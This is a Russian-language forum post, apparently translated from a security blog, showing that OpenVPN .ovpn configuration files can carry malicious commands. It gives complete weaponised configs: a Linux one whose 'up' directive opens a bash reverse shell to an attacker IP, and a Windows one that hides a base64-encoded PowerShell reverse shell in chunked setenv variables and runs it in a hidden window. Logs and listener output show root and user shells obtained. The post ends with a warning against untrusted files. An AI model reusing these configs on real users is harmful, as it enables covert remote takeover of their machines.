Reverse Shell через конфигурационный файл OpenVPN

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

Проводя фоновое исследование OpenVPN, я наткнулся на интересный вопрос на Stack Exchange(Is it okay to use random OpenVPN config files?).

53593b667a3d8d112d2fb.png

Пользователь, похоже, не спрашивает, опасно ли использовать бесплатные сервисы OpenVPN. Вместо этого, пользователь спрашивает, опасно ли использовать .ovpn файлы сами по себе. Поскольку не было удовлетворительного ответа, я углубился в это, и я пришел к выводу, что да, ненадежные файлы ovpn довольно опасны.

Давайте начнем. Ovpn файл - это файл конфигурации, предоставляемый клиенту или серверу OpenVPN. Файл содержит все детали, о VPN-соединении: какие удаленные серверы для подключения и шифрования использовать, какие протоколы использовать и т. д.

В самой простой форме файл ovpn выглядит следующим образом:


Код:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun

Это направляет клиенту соединяться с сервером 192.168.1.245 без аутентификации или шифрования и устанавливать интерфейс tun для связи между клиентом (10.200.0.2) и сервером (10.200.0.1). Для этого блога полезен трехстрочный пример, но реальные файлы ovpn могут легко превышать сотни строк, когда используются более сложные функции.

В принципе, команда выполняет любые скрипты, которые вы укажите . Если жертва использует версию Bash, которая поддерживает /dev / tcp, то получение обратной оболочки тривиально. Следующий файл ovpn будет обратной оболочкой 192.168.1.218:8181.

Код:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”


Когда этот файл ovpn используется, пользователь не поймет, что что-то не так. VPN соединение устанавливается нормально и трафик идет. В журнале есть только два указания, которые возможно указывают, что, что-то происходит. Я выделил их для более легкого чтения:

Код:
hu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server mode
Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018
Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08
Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!
Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 opened
Thu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500
Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init
Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194
Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jun 7 12:28:34 2018 Initialization Sequence Completed
Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)
root@client:/home/client/openvpn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@client:/home/client/openvpn#

Bash делает эту атаку легкой в дистрибутивах Linux, таких как Ubuntu. Однако в Windows нет аналогичной функции /dev / tcp. Нам придется немного потрудиться, чтобы сгенерировать обратную оболочку для хоста Windows. К счастью, Дэйв Кеннеди из TrustedSec написал небольшую обратную оболочку powershell(trustedsec/social-engineer-toolkit), которую мы можем использовать. Мы можем передать весь скрипт в командной строке. Однако, нам нужно будет кодировать сценарий base64, чтобы избежать необходимости вставлять Escape-коды. У нашего старого друга Карлоса Переса есть сценарий под названием ps_encoder.py(darkoperator/powershell_scripts), он сделает кодировку за нас.

Однако существует проблема. Закодированный обратный сценарий оболочки имеет длину более 4000 символов, а OpenVPN имеет ограничение в 256 символов. Чтобы обойти это, мы можем использовать команду setenv, чтобы разделить скрипт, а затем рекомбинировать его в команде up. Рассмотрим следующий ovpn файл :

Код:
ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’
setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’
setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’
setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’
setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’
setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’
setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’
setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’
setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’
setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’
setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’
setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’
setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’
setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’
setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’
setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’
setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’
setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’
setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’
up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’


Вы можете видеть, что кодированный сценарий был разделен на несколько, командой setenv. В самом конце, скрипт просто запускает все переменные окружения вместе. Как и в нашем примере Linux, есть замечание о — script-security при первом запуске OPENVPN GUI:

1eb4fe5fe39c9b8b1638d.png

Опять же, даже если пользователь замечает это или понимает последствия, слишком поздно:

Код:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>


Использование ненадежных файлов ovpn опасно. Вы позволяете незнакомцу выполнять произвольные команды на вашем компьютере.

Таким образом, если вы не знаете, как читать файлы ovpn, я предлагаю вам быть очень осторожными в отношении файлов конфигурации, которые вы используете.
 
Похожие темы
Admin Интересно Reverse shell через ICMP. Опубликован руткит под лицензией MIT, который обходит все защиты Linux. Новости в сети 0
T Reverse-shell upgrade Полезные статьи 0
Admin Статья Разведка с geo2ip и reverse-whois OSINT 0
F Модифицированный Evilginx2 Modified Evilginx2 / Reverse Proxy Phishing Ищу работу. Предлагаю свои услуги. 0
U Интересно Reverse Engenireeng - вскрываем протектор Enigma Полезные статьи 0
E need shell Аккаунты: сервисы, сайты, соц. сети 0
L Интересно Java - Получаем SHELL через Minecraft плагин Программирование 7
NickelBlack Jex Bot V5 | Auto Shell Bot Готовый софт 2
T Ani Shell v.1.3 Готовый софт 1
G Заливка WEB-Shell WSO на уязвимые сайты. Для новичков )) Полезные статьи 2
G Skipfish - Сканер безопасности веб-приложений для определения XSS, SQL инъекции, а также Shell инъекции Уязвимости и взлом 0
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
I Огромная подборка софта для работы с SHELL Готовый софт 2
Admin Интересно Новый шпионский софт Asin атакует арабских пользователей через фейковые приложения. Новости в сети 0
Admin Интересно Уязвимость в Claude Code GitHub Action позволяла захватывать репозитории через один вредоносный запрос. Новости в сети 0
Admin Интересно Новый бэкдор FlutterShell распространяется через вредоносную рекламу Google и YouTube. Новости в сети 0
Admin Интересно Уязвимость в Google Gemini позволяла злоумышленникам управлять устройствами через уведомления. Новости в сети 0
Admin Интересно Хакер отмыл сотни миллионов долларов через блокчейн. Новости в сети 0
Admin Интересно Сокращение поверхности атаки IAM через платформы видимости и интеллекта идентификации. Новости в сети 0
Admin Интересно Зафиксирована масштабная волна атак через уязвимость в Citrix NetScaler. Новости в сети 0
Admin Интересно Счёт пришёл, атака началась. Касперский зафиксировал 13 тысяч атак через ЭДО и деловую переписку. Новости в сети 0
Admin Интересно ФСБ раскрыла масштабную операцию: российскую элиту прослушивали через телефоны. Новости в сети 0
Admin Интересно ЕС рискует создать систему массового контроля и исключения граждан через цифровизацию. Новости в сети 0
Admin Интересно Срочно меняйте ключи: Red Hat оказалась в центре атаки на цепочку поставок через npm. Новости в сети 0
Admin Интересно Веб-сайты получили новый способ слежки за пользователями через анализ активности SSD. Новости в сети 0
Admin Интересно Ботнет Glassworm атаковал разработчиков через заражённые расширения и репозитории. Новости в сети 0
Admin Интересно Хакеры взломали японскую учебную платформу через критическую уязвимость. Новости в сети 0
Admin Интересно Intel готовит для Linux новый способ соединения компьютеров через USB-кабель. Новости в сети 0
Admin Интересно Конец света по расписанию: почему теория вероятностей предсказывает финал через пару тысяч лет. Новости в сети 0
Admin Интересно GitHub подтвердил взлом внутренних репозиториев через вредоносное расширение VS Code. Новости в сети 0
Admin Интересно Купился на обновление в мессенджере? Получи скрытый троян, который смотрит на тебя через веб-камеру. Новости в сети 0
Admin Интересно Microsoft представила функцию автоматического отката драйверов через облако. Новости в сети 0
Admin Интересно Новая угроза: фишинг через OAuth обходит многофакторную аутентификацию. Новости в сети 0
Admin Интересно Новая волна атак Mini Shai-Hulud поражает npm-пакеты через взломанные аккаунты. Новости в сети 0
Admin Интересно Хакеры массово атакуют дата-центры через цепочку уязвимостей в openDCIM. Новости в сети 0
Admin Интересно Proton предупреждает: не используйте вход через Google для безопасности и приватности. Новости в сети 0
Admin Интересно Новая уязвимость в Microsoft Exchange Server активно эксплуатируется через специально созданные письма. Новости в сети 0
Admin Интересно Хакеры шесть лет скрывались, а теперь взломали тысячи сайтов через уязвимость в cPanel. Новости в сети 0
Admin Интересно Новая уязвимость Fragnesia в ядре Linux позволяет получить root-доступ через повреждение кэша страниц. Новости в сети 0
Admin Интересно Китайские хакеры атаковали азербайджанскую энергетическую компанию через уязвимости Microsoft Exchange. Новости в сети 0
Admin Интересно Одна квартира — 55 жильцов. Хозяйка не знала ни об одном. Всех прописали через её «Госуслуги». Новости в сети 0
LibreCas Долгосрочная аренда номеров под sms через телеграм бот Все остальное 0
Admin Интересно Apple предупреждает пользователей macOS о новых угрозах через терминал. Новости в сети 0
Admin Интересно Банковский троян TCLBANKER атакует финансовые платформы через WhatsApp и Outlook. Новости в сети 0
Admin Интересно Мошенники используют NFC на Android для хищения денег через банкоматы. Новости в сети 0
Admin Интересно Вредоносные пакеты PyPI распространяют ZiChatBot через Zulip API на Windows и Linux. Новости в сети 0
Admin Интересно Windows Phone Link стал инструментом для кражи данных через CloudZ RAT. Новости в сети 0
Admin Интересно Физики объяснили работу ИИ через теорию хаоса. Новости в сети 0
Admin Интересно Северокорейские хакеры атаковали игровую платформу через вредоносные обновления. Новости в сети 0
Admin Интересно Исследователь показал, как отследить австралийских полицейских через Bluetooth. Новости в сети 0

Название темы